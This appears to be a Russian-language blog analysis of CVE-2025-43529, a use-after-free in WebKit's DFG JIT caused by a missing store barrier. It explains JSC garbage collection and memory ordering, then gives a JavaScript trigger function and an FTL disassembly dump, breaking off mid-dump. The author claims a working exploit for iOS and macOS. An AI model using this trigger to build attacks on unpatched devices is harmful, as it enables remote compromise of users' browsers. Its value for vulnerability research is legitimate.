
Технический эксплойт для CVE-2025-43529, уязвимости в JIT-компиляторе DFG WebKit, позволяющей использовать use-after-free через отсутствующий store barrier в конкурентном GC, с полными примитивами эксплуатации для iOS и macOS.
Недавно Apple выпустила iOS 26.2 и iPadOS 26.2 вместе с бюллетенем безопасности, включающим исправления уязвимостей WebKit. Один баг в DFG JIT-компиляторе (CVE-2025-43529) привлёк моё внимание, и я решил в нём разобраться.
JIT-компилятор корректно определил, что Phi-узел (место слияния нескольких путей потока управления) сбежал (escaped), но не заметил, что Upsilon-узлы этого Phi также сбежали. Из-за этого фаза DFG-компиляции StoreBarrierInsertionPhase пропустила вставку Store Barrier — ключевого механизма безопасности памяти. В результате конкурентный GC может пропустить объекты, которые должен был просканировать, что может привести к use-after-free.
Патч-коммит можно найти здесь.
Я подтвердил, что мой эксплойт работает на iOS 26.1, iPadOS 26.1 и macOS Tahoe 26.0.1.
JSC использует поколенческую (generational) модель GC для эффективного управления кучей. В этой модели память делится на Eden (новое пространство) и старое пространство в зависимости от возраста объекта. Все вновь выделенные объекты начинают своё существование в Eden. Когда Eden заполняется, запускается Eden GC, и все выжившие объекты повышаются (promote) до старого пространства. Очистка объектов в старом пространстве требует полного GC.
Чтобы поколенческий GC работал, GC должен классифицировать объекты как «уже просканированные», «требующие сканирования» или «требующие повторного сканирования».
В JSC это отслеживается с помощью cellState объекта. (Все объекты, управляемые GC, наследуются от JSCell.)
StructureID m_structureID;
union {
uint32_t m_blob;
struct {
IndexingType m_indexingTypeAndMisc;
JSType m_type;
TypeInfo::InlineTypeFlags m_flags;
CellState m_cellState;
};
};
cellState занимает 1 байт и может быть одним из трёх цветов: Black (0), White (1) и Grey (2).
White означает объект, который только что был выделен в Eden. В текущем цикле GC он ещё не был помечен. Если он останется в этом состоянии до конца цикла GC, объект будет собран.
Black означает, что GC уже закончил пометку объекта или находится в процессе пометки. Такой объект, по сути, считается живым, хотя бит isMarked может быть ещё выключен.
Grey означает объект, который ещё нужно просканировать. Точнее, изначально он был Black, но попал под write barrier и был добавлен в remembered set. Другими словами, его ссылки изменились, поэтому GC должен просканировать его снова.
В JSC также есть конкурентный GC (Concurrent GC), который позволяет приложению продолжать работать, пока память перерабатывается. Если GC помечает объект в фоне, а приложение в то же время изменяет состояние этого объекта, может возникнуть гонка (race condition).
Чтобы этого избежать, нужны гарантии порядка выполнения. Например, «запись (store) A, затем чтение (load) B» должны выполняться именно в таком порядке. Но на ARM64 из соображений производительности CPU может переупорядочивать операции с памятью. Это означает, что GC может прочитать неверное значение.
Поэтому JSC использует dependency class, чтобы полагаться на зависимости по данным CPU, либо использует специальные инструкции ARM64, такие как STLR и LDAR, для обеспечения порядка. STLR гарантирует, что предыдущие чтения/записи станут видимыми до записи (release store). LDAR гарантирует, что последующие чтения/записи не могут переместиться раньше загрузки (acquire load). Когда другой поток читает объект, LDAR используется в паре с STLR, чтобы безопасно наблюдать самые свежие данные.
DMB — это не отдельная специальная инструкция для одного доступа. Это барьер, который принудительно упорядочивает все обращения к памяти вокруг себя. Он гарантирует, что операции с памятью до DMB станут видимыми до операций после него.
В JSC всего три уровня JIT. Чтобы сбалансировать скорость выполнения и стоимость компиляции (память/время), применяются оптимизации, и код перемещается на следующий уровень в зависимости от частоты его выполнения.
Baseline JIT — это первый JIT-компилятор. Он ориентирован на быструю генерацию нативного кода с низкими накладными расходами на компиляцию. DFG JIT — следующий этап после Baseline JIT, где начинается серьёзная оптимизация.
На уровне DFG инструкции JavaScript преобразуются в граф, состоящий из узлов DFG IR. Используя собранную информацию о типах, компилятор выполняет спекуляцию (speculation), чтобы удалить лишние операции.
В конвейере оптимизаций DFG в JSC фаза StoreBarrierInsertionPhase вставляет StoreBarrier после узлов, которые пишут в память, например PutByOffset.
CVE-2025-43529 — это уязвимость, вызванная тем, что StoreBarrier не был вставлен, хотя должен был быть вставлен во время StoreBarrierInsertionPhase.
StoreBarrier — это узел, который действует как write barrier. Он используется для сохранения корректности при гонках с потоком пометки.
Уязвимый сценарий DFG-узлов, описанный в патч-коммите, выглядит так:
BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
Branch(BB#2, BB#3)
BB#2
...
d: Something
e: Upsilon(@d, ^f)
Jump(BB#3)
BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...
В BB#1 создаются два новых объекта, и выполнение переходит либо в BB#2, либо в BB#3. Затем BB#2 переходит в BB#3. Интересная часть находится в BB#3 — это Phi-узел. Он означает, что f — это либо c, либо e, и этот выбор определяется вышестоящими Upsilon-узлами. В BB#3 PutByOffset означает добавление значения в свойство объекта.
let A = { p0: 0x41414141 };
function jitme(flag) {
// BB#1
let a = { p0: 13.37 };
let b = { p0: 0x42424242 };
let f;
if (flag) {
// BB#2
f = b;
} else {
// BB#3
f = 1.1; // d
}
// BB#4
A.p0 = f;
b.p0 = a;
}
Если использовать опцию --dumpFTLDisassembly=true, можно посмотреть ассемблерный код после FTL-компиляции.
// Starting BB#3
0 3 60: D@46:< 1:-> Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
1 3 60: D@53:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
2 3 60: D@57:<!0:-> ExitOK(MustGen, W:SideState, bc#50, ExitValid)
3 3 60: D@63:<!0:-> KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
4 3 60: D@60:<!0:-> ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
5 3 60: D@67:<!0:-> KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
6 3 60: D@66:<!0:-> ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
7 3 60: D@69:<!0:-> FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
8 3 60: D@70:<!0:-> PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
// StoreBarrier for D@65(A)
9 3 60: D@78:<!0:-> FencedStoreBarrier(Check:KnownCell:Kill:D@65, MustGen, R:Heap, W:JSCell_cellState, bc#66, ExitInvalid)
10 3 60: D@73:<!0:-> FilterPutByStatus(Check:Untyped:D@36, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#72, ExitValid)